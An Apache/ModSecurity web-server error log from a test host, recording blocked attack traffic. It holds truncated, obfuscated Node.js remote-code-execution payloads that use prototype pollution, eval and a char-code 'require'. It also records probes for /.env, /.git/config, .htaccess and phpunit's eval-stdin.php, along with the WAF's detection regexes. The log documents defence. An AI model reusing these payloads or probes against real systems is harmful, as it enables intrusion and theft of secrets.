\\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2. [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.516398 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,..."] [severity "CRITICAL"] [ver "OWASP_CRS/3 [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.516886 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Rule 7f9c6e422e58 [id "932140"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "419"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.519369 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Warning. Pattern match "(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\"|'))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "504"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: ('return global.require')(); } catch(e) {} } if (!req) throw new Error('No require found'); var vm_code = \\x5c\\x5cu0067\\x5c\\x5cu006c\\x5c\\x5cu006f\\x5c\\x5cu0062\\x5c\\x5cu0061\\x5c\\x5cu006c[String.fromCharCode(66,117,102,102,101,114)].from('2866756e6374696f6e28726571756972652c2070726f6365737329207b20202072657475726e206576616c285c75303036375c75303036635c75303036665c75303036325c75303036315c75303036635b537472696e672e66726f6d43686172436f64652836362c3131372c3130322c3130322c3130312c313134295d2e66726f6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-in [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.519603 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.519819 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.682746 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Rule 7f9c6e14d320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.682995 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Rule 7f9c6e142030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.694597 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:49:56.694807 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=20,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUSTJMn1i9dl1qEe9ViPyQAAAAE"]
[Fri Dec 19 00:53:10.073226 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2. [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.073687 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,..."] [severity "CRITICAL"] [ver "OWASP_CRS/3 [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.074204 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Rule 7f9c6e422e58 [id "932140"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "419"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.076584 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Warning. Pattern match "(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\"|'))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "504"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: ('return global.require')(); } catch(e) {} } if (!req) throw new Error('No require found'); var vm_code = \\x5c\\x5cu0067\\x5c\\x5cu006c\\x5c\\x5cu006f\\x5c\\x5cu0062\\x5c\\x5cu0061\\x5c\\x5cu006c[String.fromCharCode(66,117,102,102,101,114)].from('2866756e6374696f6e28726571756972652c2070726f6365737329207b20202072657475726e206576616c285c75303036375c75303036635c75303036665c75303036325c75303036315c75303036635b537472696e672e66726f6d43686172436f64652836362c3131372c3130322c3130322c3130312c313134295d2e66726f6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-in [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.076820 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.077040 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.236135 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Rule 7f9c6e14d320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.236374 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Rule 7f9c6e142030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.247557 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 00:53:10.247760 2025] [:error] [pid 830988] [client 207.154.244.234:27220] [client 207.154.244.234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=20,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUST5jZJmbd0wb18dcVyKgAAAAA"]
[Fri Dec 19 12:50:37.699135 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUU8DeQyAZTrDtMMzDso2wAAAAg"]
[Fri Dec 19 12:50:37.699368 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUU8DeQyAZTrDtMMzDso2wAAAAg"]
[Fri Dec 19 12:50:37.699535 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUU8DeQyAZTrDtMMzDso2wAAAAg"]
[Fri Dec 19 12:50:38.165896 2025] [authz_core:error] [pid 839889] [client 170.64.200.173:40962] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[Fri Dec 19 12:50:38.401636 2025] [authz_core:error] [pid 839889] [client 170.64.200.173:40962] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/laravel-filemanager
[Fri Dec 19 12:50:38.868394 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "662"] [id "920340"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUU8DuQyAZTrDtMMzDso4AAAAAg"]
[Fri Dec 19 12:50:39.570887 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUU8D-QyAZTrDtMMzDso4wAAAAg"]
[Fri Dec 19 12:50:39.571117 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUU8D-QyAZTrDtMMzDso4wAAAAg"]
[Fri Dec 19 12:50:39.571297 2025] [:error] [pid 839889] [client 170.64.200.173:40962] [client 170.64.200.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUU8D-QyAZTrDtMMzDso4wAAAAg"]
[Sat Dec 20 04:08:38.759888 2025] [:error] [pid 857308] [client 193.200.229.243:47532] [client 193.200.229.243] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /tjaam5ylzgorhp6gq.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tjAAM5YLZgoRhp6Gq.htaccess"] [unique_id "aUYTNm5vX0qxwKCkkaVjQAAAAAQ"]
[Sat Dec 20 04:08:38.760201 2025] [:error] [pid 857308] [client 193.200.229.243:47532] [client 193.200.229.243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tjAAM5YLZgoRhp6Gq.htaccess"] [unique_id "aUYTNm5vX0qxwKCkkaVjQAAAAAQ"]
[Sat Dec 20 04:08:38.760359 2025] [:error] [pid 857308] [client 193.200.229.243:47532] [client 193.200.229.243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tjAAM5YLZgoRhp6Gq.htaccess"] [unique_id "aUYTNm5vX0qxwKCkkaVjQAAAAAQ"]
[Sat Dec 20 04:08:39.250138 2025] [:error] [pid 856676] [client 193.200.229.243:47538] [client 193.200.229.243] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /0khkgor0vkobdr_8u6.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0KhKgor0VKOBDR_8U6.htaccess"] [unique_id "aUYTN2etN_MHWIowB3WUCAAAAAI"]
